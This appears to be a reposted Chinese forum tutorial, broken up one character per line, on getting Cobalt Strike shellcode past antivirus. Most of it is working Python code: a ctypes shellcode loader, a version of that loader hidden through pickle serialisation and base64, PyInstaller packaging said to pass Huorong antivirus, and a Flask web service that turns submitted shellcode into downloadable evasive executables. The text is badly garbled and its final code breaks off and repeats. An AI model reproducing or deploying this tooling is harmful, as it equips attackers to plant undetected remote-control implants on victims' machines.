论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
免杀
[26765] 2021-08-19_帅小伙Tz的shellcode免杀大法
文档创建者:
s7ckTeam
浏览次数:
0
最后更新:
2025-01-19
免杀
0 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-58
6万
主题
-6万
回帖
-58
积分
管理员
积分
-58
发消息
2021-08-19_帅小伙Tz的shellcode免杀大法
1
2
3
5
帅
小
伙
T
z
的
s
h
e
l
l
c
o
d
e
免
杀
大
法
原
创
帅
小
伙
T
z
m
o
o
n
s
e
c
2
0
2
1
-
0
8
-
1
9
收
录
于
话
题
#
渗
透
测
试
免
杀
红
队
,
2
3
个
S
h
e
l
l
c
o
d
e
反
序
列
化
免
杀
反
序
列
化
免
杀
介
绍
介
绍
1
.
S
h
e
l
l
c
o
d
e
直
接
操
作
寄
存
器
和
函
数
是
一
段
可
注
入
的
指
令
来
获
得
攻
击
目
标
的
s
h
e
l
l
2
.
P
y
t
h
o
n
序
列
化
是
将
一
个
数
据
结
构
转
化
成
一
个
特
殊
的
序
列
(
特
殊
的
字
符
串
)
的
过
程
反
序
列
化
就
是
将
这
特
殊
的
序
列
转
化
成
原
来
的
数
据
结
构
的
过
程
S
h
e
l
l
c
o
d
e
l
o
d
e
r
编
写
编
写
加
载
s
h
e
l
l
c
o
d
e
需
要
编
写
s
h
e
l
l
c
o
d
e
加
载
器
来
将
s
h
e
l
l
c
o
d
e
在
内
存
中
执
行
S
h
e
l
l
c
o
d
e
l
o
d
e
r
需
要
做
的
事
是
:
申
请
内
存
局
域
-
>
将
s
h
e
l
l
c
o
d
e
赋
值
进
去
-
>
创
建
线
程
执
行
。
在
P
y
t
h
o
n
中
编
写
s
h
e
l
l
c
o
d
e
l
o
d
e
r
需
要
c
t
y
p
e
s
库
(
p
y
t
h
o
n
3
是
自
带
的
不
需
要
安
装
)
来
调
用
w
i
n
d
o
w
s
系
统
中
的
内
置
函
数
几
个
重
要
的
动
态
链
接
库
k
e
r
n
e
l
3
2
.
d
l
l
u
s
e
r
3
2
.
d
l
l
g
d
i
3
2
.
d
l
l
m
s
v
c
r
t
.
d
l
l
我
们
编
写
最
基
础
的
s
h
e
l
l
c
o
d
e
l
o
d
e
r
的
内
置
函
数
都
在
k
e
r
n
e
l
3
2
.
d
l
l
中
函
数
介
绍
函
数
介
绍
V
i
r
t
u
a
l
A
l
l
o
c
V
i
r
t
u
a
l
A
l
l
o
c
函
数
申
请
内
存
地
址
R
t
l
M
o
v
e
M
e
m
o
r
y
R
t
l
M
o
v
e
M
e
m
o
r
y
函
数
从
指
定
内
存
中
复
制
内
存
至
另
一
内
存
里
C
r
e
a
t
e
T
h
r
e
a
d
C
r
e
a
t
e
T
h
r
e
a
d
函
数
在
主
线
程
的
基
础
上
创
建
一
个
新
线
程
W
a
i
t
F
o
r
S
i
n
g
l
e
O
b
j
e
c
t
W
a
i
t
F
o
r
S
i
n
g
l
e
O
b
j
e
c
t
函
数
检
测
线
程
的
状
态
函
数
的
用
法
及
参
数
百
度
百
科
上
有
详
细
的
资
料
可
供
参
考
P
y
t
h
o
n
s
h
e
l
l
c
o
d
e
l
o
d
e
r
编
写
编
写
i
m
p
o
r
t
c
t
y
p
e
s
d
e
f
s
h
e
l
l
c
o
d
e
l
o
d
e
r
(
s
h
e
l
l
c
o
d
e
)
:
c
t
y
p
e
s
.
w
i
n
d
l
l
.
k
e
r
n
e
l
3
2
.
V
i
r
t
u
a
l
A
l
l
o
c
.
r
e
s
t
y
p
e
=
c
t
y
p
e
s
.
c
_
u
i
n
t
6
4
/
/
重
载
函
数
返
回
类
型
u
i
n
t
6
4
p
t
r
=
c
t
y
p
e
s
.
w
i
n
d
l
l
.
k
e
r
n
e
l
3
2
.
V
i
r
t
u
a
l
A
l
l
o
c
(
c
t
y
p
e
s
.
c
_
i
n
t
(
0
)
,
c
t
y
p
e
s
.
c
_
i
n
t
(
l
e
n
(
s
h
e
l
l
c
o
d
e
)
)
,
c
t
y
p
e
s
.
c
_
i
n
t
(
0
x
1
0
0
0
)
,
c
t
y
p
e
s
.
c
_
i
n
t
(
0
x
4
0
)
)
/
/
申
请
内
存
区
域
b
u
f
=
(
c
t
y
p
e
s
.
c
_
c
h
a
r
*
l
e
n
(
s
h
e
l
l
c
o
d
e
)
)
.
f
r
o
m
_
b
u
f
f
e
r
(
s
h
e
l
l
c
o
d
e
)
/
/
将
s
h
e
l
l
c
o
d
e
赋
值
到
指
针
里
c
t
y
p
e
s
.
w
i
n
d
l
l
.
k
e
r
n
e
l
3
2
.
R
t
l
M
o
v
e
M
e
m
o
r
y
(
c
t
y
p
e
s
.
c
_
u
i
n
t
6
4
(
p
t
r
)
,
b
u
f
,
c
t
y
p
e
s
.
c
_
i
n
t
(
l
e
n
(
s
h
e
l
l
c
o
d
e
)
)
)
/
/
将
刚
才
的
指
针
复
制
到
申
请
的
内
存
区
域
里
h
r
e
a
d
=
c
t
y
p
e
s
.
w
i
n
d
l
l
.
k
e
r
n
e
l
3
2
.
C
r
e
a
t
e
T
h
r
e
a
d
(
c
t
y
p
e
s
.
c
_
i
n
t
(
0
)
,
c
t
y
p
e
s
.
c
_
i
n
t
(
0
)
,
c
t
y
p
e
s
.
c
_
u
i
n
t
6
4
(
p
t
r
)
,
c
t
y
p
e
s
.
c
_
i
n
t
(
0
)
,
c
t
y
p
e
s
.
c
_
i
n
t
(
0
)
,
c
t
y
p
e
s
.
p
o
i
n
t
e
r
(
c
t
y
p
e
s
.
c
_
i
n
t
(
0
)
)
)
/
/
创
建
新
进
程
执
行
c
t
y
p
e
s
.
w
i
n
d
l
l
.
k
e
r
n
e
l
3
2
.
W
a
i
t
F
o
r
S
i
n
g
l
e
O
b
j
e
c
t
(
c
t
y
p
e
s
.
c
_
i
n
t
(
t
h
r
e
a
d
)
,
c
t
y
p
e
s
.
c
_
i
n
t
(
-
1
)
)
/
/
检
测
进
程
这
里
-
1
是
等
待
时
间
设
为
负
数
它
就
会
无
限
等
待
程
序
就
不
会
结
束
实
现
实
现
s
h
e
l
l
c
o
d
e
执
行
执
行
在
C
o
b
a
l
t
S
t
i
k
e
生
成
一
个
p
y
t
h
o
n
的
s
h
e
l
l
c
o
d
e
拿
到
一
串
b
u
f
=
‘
x
f
c
x
4
8
x
8
3
x
e
4
x
f
0
x
e
8
.
.
.
.
.
.
’
将
它
转
化
成
b
y
t
e
s
类
型
再
转
化
成
b
y
t
e
a
r
r
a
y
(
l
i
s
t
数
据
类
型
)
传
入
s
h
e
l
l
c
o
d
e
l
o
d
e
r
中
执
行
完
整
代
码
完
整
代
码
i
m
p
o
r
t
c
t
y
p
e
s
b
u
f
=
b
'
x
f
c
x
4
8
x
8
3
x
e
4
x
f
0
x
e
8
.
.
.
.
.
.
’
d
e
f
s
h
e
l
l
c
o
d
e
l
o
d
e
r
(
s
h
e
l
l
c
o
d
e
)
:
c
t
y
p
e
s
.
w
i
n
d
l
l
.
k
e
r
n
e
l
3
2
.
V
i
r
t
u
a
l
A
l
l
o
c
.
r
e
s
t
y
p
e
=
c
t
y
p
e
s
.
c
_
u
i
n
t
6
4
/
/
重
载
函
数
返
回
类
型
u
i
n
t
6
4
p
t
r
=
c
t
y
p
e
s
.
w
i
n
d
l
l
.
k
e
r
n
e
l
3
2
.
V
i
r
t
u
a
l
A
l
l
o
c
(
c
t
y
p
e
s
.
c
_
i
n
t
(
0
)
,
c
t
y
p
e
s
.
c
_
i
n
t
(
l
e
n
(
s
h
e
l
l
c
o
d
e
)
)
,
c
t
y
p
e
s
.
c
_
i
n
t
(
0
x
1
0
0
0
)
,
c
t
y
p
e
s
.
c
_
i
n
t
(
0
x
4
0
)
)
/
/
申
请
内
存
区
域
b
u
f
=
(
c
t
y
p
e
s
.
c
_
c
h
a
r
*
l
e
n
(
s
h
e
l
l
c
o
d
e
)
)
.
f
r
o
m
_
b
u
f
f
e
r
(
s
h
e
l
l
c
o
d
e
)
/
/
将
s
h
e
l
l
c
o
d
e
赋
值
到
指
针
里
c
t
y
p
e
s
.
w
i
n
d
l
l
.
k
e
r
n
e
l
3
2
.
R
t
l
M
o
v
e
M
e
m
o
r
y
(
c
t
y
p
e
s
.
c
_
u
i
n
t
6
4
(
p
t
r
)
,
b
u
f
,
c
t
y
p
e
s
.
c
_
i
n
t
(
l
e
n
(
s
h
e
l
l
c
o
d
e
)
)
)
/
/
将
刚
才
的
指
针
复
制
到
申
请
的
内
存
区
域
里
h
r
e
a
d
=
c
t
y
p
e
s
.
w
i
n
d
l
l
.
k
e
r
n
e
l
3
2
.
C
r
e
a
t
e
T
h
r
e
a
d
(
c
t
y
p
e
s
.
c
_
i
n
t
(
0
)
,
c
t
y
p
e
s
.
c
_
i
n
t
(
0
)
,
c
t
y
p
e
s
.
c
_
u
i
n
t
6
4
(
p
t
r
)
,
c
t
y
p
e
s
.
c
_
i
n
t
(
0
)
,
c
t
y
p
e
s
.
c
_
i
n
t
(
0
)
,
c
t
y
p
e
s
.
p
o
i
n
t
e
r
(
c
t
y
p
e
s
.
c
_
i
n
t
(
0
)
)
)
/
/
创
建
新
进
程
执
行
c
t
y
p
e
s
.
w
i
n
d
l
l
.
k
e
r
n
e
l
3
2
.
W
a
i
t
F
o
r
S
i
n
g
l
e
O
b
j
e
c
t
(
c
t
y
p
e
s
.
c
_
i
n
t
(
t
h
r
e
a
d
)
,
c
t
y
p
e
s
.
c
_
i
n
t
(
-
1
)
)
/
/
检
测
进
程
这
里
-
1
是
等
待
时
间
设
为
负
数
它
就
会
无
限
等
待
程
序
就
不
会
结
束
s
h
e
l
l
c
o
d
e
l
o
d
e
r
(
b
y
t
e
a
r
r
a
y
(
b
u
f
)
)
反
序
列
化
免
杀
反
序
列
化
免
杀
免
杀
原
理
免
杀
原
理
序
列
化
就
像
是
一
次
加
密
所
以
就
破
坏
了
原
本
的
特
征
码
因
此
免
杀
反
序
列
化
就
是
解
密
从
而
执
行
我
们
的
s
h
e
l
l
c
o
d
e
代
码
实
现
代
码
实
现
需
要
p
i
c
k
l
e
库
(
p
y
t
h
o
n
自
带
无
需
下
载
)
我
们
知
道
p
i
c
k
l
e
可
以
序
列
化
p
y
t
h
o
n
任
意
一
个
数
据
类
型
包
括
一
个
类
所
以
我
们
将
上
面
的
s
h
e
l
l
c
o
d
e
l
o
d
e
r
归
为
一
个
类
并
用
e
x
e
c
函
数
来
执
行
i
m
p
o
r
t
p
i
c
k
l
e
,
b
a
s
e
6
4
,
c
t
y
p
e
s
c
l
a
s
s
s
h
e
l
l
c
o
d
e
l
o
d
e
r
:
d
e
f
_
_
r
e
d
u
c
e
_
_
(
s
e
l
f
)
:
/
/
_
_
r
e
d
u
c
e
_
_
被
定
义
之
后
,
当
对
象
被
P
i
c
k
l
e
时
就
会
被
调
用
r
e
t
u
r
n
(
e
x
e
c
,
(
"
"
"
c
t
y
p
e
s
.
w
i
n
d
l
l
.
k
e
r
n
e
l
3
2
.
V
i
r
t
u
a
l
A
l
l
o
c
.
r
e
s
t
y
p
e
=
c
t
y
p
e
s
.
c
_
u
i
n
t
6
4
6
7
p
t
r
=
c
t
y
p
e
s
.
w
i
n
d
l
l
.
k
e
r
n
e
l
3
2
.
V
i
r
t
u
a
l
A
l
l
o
c
(
c
t
y
p
e
s
.
c
_
i
n
t
(
0
)
,
c
t
y
p
e
s
.
c
_
i
n
t
(
l
e
n
(
s
h
e
l
l
c
o
d
e
)
)
,
c
t
y
p
e
s
.
c
_
i
n
t
(
0
x
1
0
0
0
)
,
c
t
y
p
e
s
.
c
_
i
n
t
(
0
x
4
0
)
)
b
u
f
=
(
c
t
y
p
e
s
.
c
_
c
h
a
r
*
l
e
n
(
s
h
e
l
l
c
o
d
e
)
)
.
f
r
o
m
_
b
u
f
f
e
r
(
s
h
e
l
l
c
o
d
e
)
c
t
y
p
e
s
.
w
i
n
d
l
l
.
k
e
r
n
e
l
3
2
.
R
t
l
M
o
v
e
M
e
m
o
r
y
(
c
t
y
p
e
s
.
c
_
u
i
n
t
6
4
(
p
t
r
)
,
b
u
f
,
c
t
y
p
e
s
.
c
_
i
n
t
(
l
e
n
(
s
h
e
l
l
c
o
d
e
)
)
)
t
h
r
e
a
d
=
c
t
y
p
e
s
.
w
i
n
d
l
l
.
k
e
r
n
e
l
3
2
.
C
r
e
a
t
e
T
h
r
e
a
d
(
c
t
y
p
e
s
.
c
_
i
n
t
(
0
)
,
c
t
y
p
e
s
.
c
_
i
n
t
(
0
)
,
c
t
y
p
e
s
.
c
_
u
i
n
t
6
4
(
p
t
r
)
,
c
t
y
p
e
s
.
c
_
i
n
t
(
0
)
,
c
t
y
p
e
s
.
c
_
i
n
t
(
0
)
,
c
t
y
p
e
s
.
p
o
i
n
t
e
r
(
c
t
y
p
e
s
.
c
_
i
n
t
(
0
)
)
)
c
t
y
p
e
s
.
w
i
n
d
l
l
.
k
e
r
n
e
l
3
2
.
W
a
i
t
F
o
r
S
i
n
g
l
e
O
b
j
e
c
t
(
c
t
y
p
e
s
.
c
_
i
n
t
(
t
h
r
e
a
d
)
,
c
t
y
p
e
s
.
c
_
i
n
t
(
-
1
)
)
"
"
"
,
)
)
/
/
这
里
r
e
t
u
r
n
必
须
要
元
组
类
型
p
i
c
k
s
h
e
l
l
=
p
i
c
k
l
e
.
d
u
m
p
s
(
s
h
e
l
l
c
o
d
e
l
o
d
e
r
(
)
)
/
/
序
列
化
s
h
e
l
l
c
o
d
e
l
o
d
e
r
b
a
s
e
p
i
c
k
s
h
e
l
l
=
b
a
s
e
6
4
.
b
6
4
e
n
c
o
d
e
(
p
i
c
k
s
h
e
l
l
)
/
/
再
加
密
b
a
s
e
6
4
p
r
i
n
t
(
b
a
s
e
p
i
c
k
s
h
e
l
l
)
/
/
得
到
加
密
后
的
字
符
串
然
后
再
将
s
h
e
l
l
c
o
d
e
通
过
b
a
s
e
6
4
加
密
加
密
好
后
创
建
新
的
p
y
文
件
将
加
密
好
的
复
制
进
去
反
序
列
化
后
就
可
以
执
行
了
最
终
代
码
最
终
代
码
i
m
p
o
r
t
b
a
s
e
6
4
,
p
i
c
k
l
e
,
c
t
y
p
e
s
s
h
e
l
l
c
o
d
e
l
o
d
e
r
=
b
'
g
A
S
V
d
Q
I
A
A
A
A
A
A
A
C
M
C
G
J
1
a
W
x
0
a
…
…
'
/
/
s
h
e
l
l
c
o
d
e
l
o
d
e
r
加
密
b
a
s
e
s
h
e
l
l
c
o
d
e
=
b
'
/
E
i
D
5
P
D
o
y
A
A
A
A
E
F
R
Q
V
B
S
U
V
Z
I
M
d
J
l
S
I
t
S
Y
…
…
'
/
/
s
h
e
l
l
c
o
d
e
加
密
s
h
e
l
l
c
o
d
e
=
b
y
t
e
a
r
r
a
y
(
b
a
s
e
6
4
.
b
6
4
d
e
c
o
d
e
(
b
a
s
e
s
h
e
l
l
c
o
d
e
)
)
/
/
解
密
s
h
e
l
l
c
o
d
e
此
时
变
量
名
必
须
为
s
h
e
l
l
c
o
d
e
p
i
c
k
l
e
.
l
o
a
d
s
(
b
a
s
e
6
4
.
b
6
4
d
e
c
o
d
e
(
s
h
e
l
l
c
o
d
e
l
o
d
e
r
)
)
/
/
解
密
s
h
e
l
l
c
o
d
e
l
o
d
e
r
并
执
行
测
试
成
功
上
线
P
y
i
n
s
t
a
l
l
e
r
封
装
成
封
装
成
e
x
e
通
过
p
i
p
i
n
s
t
a
l
l
p
y
i
n
s
t
a
l
l
e
r
命
令
安
装
p
y
i
n
s
t
a
l
l
e
r
-
F
s
h
e
l
l
c
o
d
e
.
p
y
最
后
生
成
的
e
x
e
在
d
i
s
t
文
件
夹
中
免
杀
过
火
绒
F
l
a
s
k
编
写
编
写
s
h
e
l
l
c
o
d
e
在
线
免
杀
平
台
在
线
免
杀
平
台
首
先
用
p
i
p
i
n
s
t
a
l
l
f
l
a
s
k
命
令
安
装
这
个
库
如
果
没
有
学
过
f
l
a
s
k
的
可
以
网
上
找
教
程
学
流
程
流
程
用
户
提
交
C
o
b
a
l
t
S
t
i
k
e
生
成
的
s
h
e
l
l
c
o
d
e
-
>
后
台
服
务
器
接
收
s
h
e
l
l
c
o
d
e
生
成
反
序
列
化
后
的
p
y
文
件
-
>
p
y
i
n
s
t
a
l
l
e
r
封
装
成
e
x
e
-
>
供
用
户
下
载
开
始
编
写
开
始
编
写
首
先
创
建
h
t
m
l
的
模
板
i
n
d
e
x
.
h
t
m
l
放
在
t
e
m
p
l
a
t
e
s
文
件
夹
下
代
码
如
下
S
i
m
p
l
e
s
i
m
p
l
e
v
e
r
y
s
i
m
p
l
e
的
h
t
m
l
模
板
一
个
f
o
r
m
表
单
一
个
变
量
代
码
块
用
来
存
放
提
示
句
不
必
多
说
大
家
也
能
理
解
f
r
o
m
f
l
a
s
k
i
m
p
o
r
t
F
l
a
s
k
,
r
e
n
d
e
r
_
t
e
m
p
l
a
t
e
,
r
e
q
u
e
s
t
a
p
p
=
F
l
a
s
k
(
_
_
n
a
m
e
_
_
)
/
/
创
建
F
l
a
s
k
实
例
@
a
p
p
.
r
o
u
t
e
(
‘
/
’
,
m
e
t
h
o
d
s
=
[
‘
G
E
T
’
,
’
P
O
S
T
’
]
)
/
/
装
饰
器
语
法
糖
。
在
这
里
定
义
路
由
地
址
和
请
求
方
式
d
e
f
i
n
d
e
x
(
)
:
/
/
被
装
饰
的
函
数
i
f
r
e
q
u
e
s
t
.
m
e
t
h
o
d
=
=
'
P
O
S
T
'
:
/
/
请
求
是
否
为
p
o
s
t
因
为
f
o
r
m
提
交
的
方
式
是
p
o
s
t
s
h
e
l
l
c
o
d
e
=
r
e
q
u
e
s
t
.
f
o
r
m
.
g
e
t
(
'
u
s
e
r
s
h
e
l
l
c
o
d
e
'
)
/
/
获
取
用
户
提
交
的
s
h
e
l
l
c
o
d
e
i
f
n
o
t
a
l
l
(
[
s
h
e
l
l
c
o
d
e
]
)
:
/
/
如
果
提
交
的
为
空
则
n
n
=
'
赶
紧
提
交
你
的
s
h
e
l
l
c
o
d
e
啊
~
!
憨
批
!
!
r
e
t
u
r
n
r
e
n
d
e
r
_
t
e
m
p
l
a
t
e
(
'
i
n
d
e
x
.
h
t
m
l
'
,
n
n
=
n
n
)
/
/
重
新
加
载
页
面
并
将
n
n
提
示
语
句
插
入
到
h
t
m
l
模
板
中
的
变
量
代
码
块
e
l
i
f
'
b
u
f
'
n
o
t
i
n
s
h
e
l
l
c
o
d
e
:
/
/
如
果
b
u
f
没
在
用
户
提
交
的
数
据
内
则
n
n
=
'
看
上
面
填
入
的
s
h
e
l
l
c
o
d
e
格
式
啊
~
!
笨
蛋
!
!
'
r
e
t
u
r
n
r
e
n
d
e
r
_
t
e
m
p
l
a
t
e
(
'
i
n
d
e
x
.
h
t
m
l
'
,
n
n
=
n
n
)
e
l
i
f
'
"
'
n
o
t
i
n
s
h
e
l
l
c
o
d
e
[
:
:
-
1
]
[
0
]
:
/
/
如
果
用
户
提
交
的
s
h
e
l
l
c
o
d
e
最
后
没
有
双
引
号
则
n
n
=
'
c
a
o
你
的
双
引
号
呢
?
?
?
'
r
e
t
u
r
n
r
e
n
d
e
r
_
t
e
m
p
l
a
t
e
(
'
i
n
d
e
x
.
h
t
m
l
'
,
n
n
=
n
n
)
上
面
的
代
码
是
获
取
用
户
提
交
的
s
h
e
l
l
c
o
d
e
并
判
断
是
否
规
范
规
范
后
面
才
好
继
续
处
理
大
坑
!
!
!
大
坑
!
!
!
到
这
里
有
个
搞
了
我
好
久
的
大
坑
就
是
将
接
受
到
用
户
传
入
的
s
h
e
l
l
c
o
d
e
转
换
成
二
进
制
b
’
s
t
r
i
n
g
’
用
%
将
接
受
到
数
据
的
s
h
e
l
l
c
o
d
e
变
量
传
进
去
可
最
后
得
到
的
结
果
不
一
样
如
果
用
b
y
t
e
s
(
s
h
e
l
l
c
o
d
e
,
e
n
c
o
d
i
n
g
=
’
U
T
F
-
8
’
)
也
是
与
前
两
种
不
一
样
如
果
有
大
佬
知
道
这
是
啥
情
况
的
请
告
诉
我
告
诉
我
告
诉
我
!
!
最
终
我
的
解
决
方
法
是
将
拿
到
的
s
h
e
l
l
c
o
d
e
先
写
入
一
个
p
y
文
件
中
进
行
b
a
s
e
6
4
加
密
在
这
个
p
y
文
件
中
再
去
创
建
一
个
最
终
反
序
列
化
的
p
y
文
件
最
终
代
码
实
现
最
终
代
码
实
现
i
m
p
o
r
t
o
s
w
i
t
h
o
p
e
n
(
'
s
h
e
l
l
.
p
y
'
,
'
w
'
)
a
s
f
:
f
.
w
r
i
t
e
(
'
i
m
p
o
r
t
b
a
s
e
6
4
n
'
)
f
.
w
r
i
t
e
(
"
s
h
e
l
l
c
o
d
e
=
b
'
"
+
s
h
e
l
l
c
o
d
e
[
7
:
l
e
n
(
s
h
e
l
l
c
o
d
e
)
-
1
]
+
"
'
n
"
)
f
.
w
r
i
t
e
(
"
b
a
s
e
s
h
e
l
l
c
o
d
e
=
b
a
s
e
6
4
.
b
6
4
e
n
c
o
d
e
(
s
h
e
l
l
c
o
d
e
)
n
"
)
f
.
w
r
i
t
e
(
'
w
i
t
h
o
p
e
n
(
'
+
"
'
s
h
e
l
l
c
o
d
e
.
p
y
'
,
'
w
'
"
+
'
)
a
s
f
:
'
+
'
n
'
)
f
.
w
r
i
t
e
(
'
'
+
"
f
.
w
r
i
t
e
(
'
i
m
p
o
r
t
p
i
c
k
l
e
,
b
a
s
e
6
4
,
c
t
y
p
e
s
n
'
)
"
+
'
n
'
)
f
.
w
r
i
t
e
(
'
'
+
"
f
.
w
r
i
t
e
(
'
s
h
e
l
l
c
o
d
e
=
'
+
s
t
r
(
b
a
s
e
s
h
e
l
l
c
o
d
e
)
+
'
n
'
)
"
+
'
n
'
)
f
.
w
r
i
t
e
(
'
'
+
"
"
"
f
.
w
r
i
t
e
(
'
s
h
e
l
l
c
o
d
e
l
o
d
e
r
=
b
'
+
"
'
g
A
S
V
d
Q
I
A
A
A
A
A
A
A
C
M
C
G
J
1
a
W
x
0
a
W
5
z
l
I
w
E
Z
X
h
l
Y
5
S
T
l
F
h
W
A
g
A
A
C
m
N
0
e
X
B
l
c
y
5
3
a
W
5
k
b
G
w
u
a
2
V
y
b
m
V
s
M
z
I
u
V
m
l
y
d
H
V
h
b
E
F
s
b
G
9
j
L
n
J
l
c
3
R
5
c
G
U
g
P
S
B
j
d
H
l
w
Z
X
M
u
Y
1
9
1
a
W
5
0
N
j
Q
K
c
H
R
y
I
D
0
g
Y
3
R
5
c
G
V
z
L
n
d
p
b
m
R
s
b
C
5
r
Z
X
J
u
Z
W
w
z
M
i
5
W
a
X
J
0
d
W
F
s
Q
W
x
s
b
2
M
o
Y
3
R
5
c
G
V
z
L
m
N
f
a
W
5
0
K
D
A
p
L
G
N
0
e
X
B
l
c
y
5
j
X
2
l
u
d
C
h
s
Z
W
4
o
c
2
h
l
b
G
x
j
b
2
R
l
K
S
k
s
Y
3
R
5
c
G
V
z
L
m
N
f
a
W
5
0
K
D
B
4
M
T
A
w
M
C
k
s
Y
3
R
5
c
G
V
z
L
m
N
f
a
W
5
0
K
D
B
4
N
D
A
p
K
Q
p
i
d
W
Y
g
P
S
A
o
Y
3
R
5
c
G
V
z
L
m
N
f
Y
2
h
h
c
i
A
q
I
G
x
l
b
i
h
z
a
G
V
s
b
G
N
v
Z
G
U
p
K
S
5
m
c
m
9
t
X
2
J
1
Z
m
Z
l
c
i
h
z
a
G
V
s
b
G
N
v
Z
G
U
p
C
m
N
0
e
X
B
l
c
y
5
3
a
W
5
k
b
G
w
u
a
2
V
y
b
m
V
s
M
z
I
u
U
n
R
s
T
W
9
2
Z
U
1
l
b
W
9
y
e
S
h
j
d
H
l
w
Z
X
M
u
Y
1
9
1
a
W
5
0
N
j
Q
o
c
H
R
y
K
S
x
i
d
W
Y
s
Y
3
R
5
c
G
V
z
L
m
N
f
a
W
5
0
K
G
x
l
b
i
h
z
a
G
V
s
b
G
N
v
Z
G
U
p
K
S
k
K
d
G
h
y
Z
W
F
k
I
D
0
g
Y
3
R
5
c
G
V
z
L
n
d
p
b
m
R
s
b
C
5
r
Z
X
J
u
Z
W
w
z
M
i
5
D
c
m
V
h
d
G
V
U
a
H
J
l
Y
W
Q
o
Y
3
R
5
c
G
V
z
L
m
N
f
a
W
5
0
K
D
A
p
L
G
N
0
e
X
B
l
c
y
5
j
X
2
l
u
d
C
g
w
K
S
x
j
d
H
l
w
Z
X
M
u
Y
1
9
1
a
W
5
0
N
j
Q
o
c
H
R
y
K
S
x
j
d
H
l
w
Z
X
M
u
Y
1
9
p
b
n
Q
o
M
C
k
s
Y
3
R
5
c
G
V
z
L
m
N
f
a
W
5
0
K
D
A
p
L
G
N
0
e
X
B
l
c
y
5
w
b
2
l
u
d
G
V
y
K
G
N
0
e
X
B
l
c
y
5
j
X
2
l
u
d
C
g
w
K
S
k
p
C
m
N
0
e
X
B
l
c
y
5
3
a
W
5
k
b
G
w
u
a
2
V
y
b
m
V
s
M
z
I
u
V
2
F
p
d
E
Z
v
c
l
N
p
b
m
d
s
Z
U
9
i
a
m
V
j
d
C
h
j
d
H
l
w
Z
X
M
u
Y
1
9
p
b
n
Q
o
d
G
h
y
Z
W
F
k
K
S
x
j
d
H
l
w
Z
X
M
u
Y
1
9
p
b
n
Q
o
L
T
E
p
K
Q
o
g
I
C
A
g
I
C
A
g
I
J
S
F
l
F
K
U
L
g
=
=
'
n
"
)
"
"
"
+
'
n
'
)
/
/
反
序
列
化
再
b
a
s
e
6
4
加
密
过
的
s
h
e
l
l
c
o
d
e
l
o
d
e
r
f
.
w
r
i
t
e
(
'
'
+
"
f
.
w
r
i
t
e
(
'
s
h
e
l
l
c
o
d
e
=
b
y
t
e
a
r
r
a
y
(
b
a
s
e
6
4
.
b
6
4
d
e
c
o
d
e
(
s
h
e
l
l
c
o
d
e
)
)
n
'
)
"
+
'
n
'
)
f
.
w
r
i
t
e
(
'
'
+
"
f
.
w
r
i
t
e
(
'
p
i
c
k
l
e
.
l
o
a
d
s
(
b
a
s
e
6
4
.
b
6
4
d
e
c
o
d
e
(
s
h
e
l
l
c
o
d
e
l
o
d
e
r
)
)
n
'
)
"
+
'
n
'
)
o
s
.
s
y
s
t
e
m
(
'
p
y
t
h
o
n
s
h
e
l
l
.
p
y
'
)
/
/
执
行
第
一
个
创
建
的
s
h
e
l
l
.
p
y
o
s
.
s
y
s
t
e
m
(
'
p
y
i
n
s
t
a
l
l
e
r
-
F
s
h
e
l
l
c
o
d
e
.
p
y
'
)
/
/
p
y
i
n
s
t
a
l
l
e
r
封
装
第
二
个
通
过
执
行
s
h
e
l
l
.
p
y
创
建
的
s
h
e
l
l
c
o
d
e
.
p
y
文
件
下
载
文
件
下
载
编
写
编
写
f
r
o
m
f
l
a
s
k
i
m
p
o
r
t
s
e
n
d
_
f
r
o
m
_
d
i
r
e
c
t
o
r
y
@
a
p
p
.
r
o
u
t
e
(
"
/
d
o
w
n
l
o
a
d
"
)
/
/
定
义
下
载
s
h
e
l
l
c
o
d
e
.
e
x
e
的
路
由
地
址
为
i
p
:
端
口
/
d
o
w
n
l
o
a
d
d
e
f
d
o
w
n
l
o
a
d
(
)
:
s
t
o
r
e
_
p
a
t
h
=
o
s
.
g
e
t
c
w
d
(
)
+
'
d
i
s
t
'
/
/
获
取
s
h
e
l
l
c
o
d
e
.
e
x
e
的
路
径
r
e
t
u
r
n
s
e
n
d
_
f
r
o
m
_
d
i
r
e
c
t
o
r
y
(
s
t
o
r
e
_
p
a
t
h
,
'
s
h
e
l
l
c
o
d
e
.
e
x
e
'
,
a
s
_
a
t
t
a
c
h
m
e
n
t
=
T
r
u
e
)
之
后
我
们
上
面
i
n
d
e
x
(
)
函
数
设
返
回
值
为
r
e
t
u
r
n
r
e
d
i
r
e
c
t
(
"
/
d
o
w
n
l
o
a
d
"
)
就
是
当
用
户
上
传
完
服
务
器
生
成
s
h
e
l
l
c
o
d
e
.
e
x
e
后
页
面
跳
转
到
i
p
:
端
口
/
d
o
w
n
l
o
a
d
也
就
是
去
下
载
我
们
的
s
h
e
l
l
c
o
d
e
.
e
x
e
完
整
代
码
完
整
代
码
f
r
o
m
f
l
a
s
k
i
m
p
o
r
t
F
l
a
s
k
,
r
e
n
d
e
r
_
t
e
m
p
l
a
t
e
,
r
e
q
u
e
s
t
,
s
e
n
d
_
f
r
o
m
_
d
i
r
e
c
t
o
r
y
,
r
e
d
i
r
e
c
t
i
m
p
o
r
t
o
s
a
p
p
=
F
l
a
s
k
(
_
_
n
a
m
e
_
_
)
@
a
p
p
.
r
o
u
t
e
(
'
/
'
,
m
e
t
h
o
d
s
=
[
'
G
E
T
'
,
'
P
O
S
T
'
]
)
d
e
f
i
n
d
e
x
(
)
:
i
f
r
e
q
u
e
s
t
.
m
e
t
h
o
d
=
=
'
P
O
S
T
'
:
s
h
e
l
l
c
o
d
e
=
r
e
q
u
e
s
t
.
f
o
r
m
.
g
e
t
(
'
u
s
e
r
s
h
e
l
l
c
o
d
e
'
)
i
f
n
o
t
a
l
l
(
[
s
h
e
l
l
c
o
d
e
]
)
:
n
n
=
'
赶
紧
提
交
你
的
s
h
e
l
l
c
o
d
e
啊
~
!
憨
批
!
!
'
8
9
结
语
结
语
我
是
学
习
一
年
半
还
不
会
开
机
的
菜
逼
第
一
次
写
文
章
很
鸡
冻
。
老
师
傅
们
轻
点
喷
也
希
望
圈
内
的
漂
亮
大
姐
姐
们
能
喜
欢
我
的
第
一
次
的
文
章
谢
谢
大
家
~
!
关
注
关
注
本
公
众
号
更
新
类
文
章
和
视
频
欢
迎
关
注
n
n
=
'
赶
紧
提
交
你
的
s
h
e
l
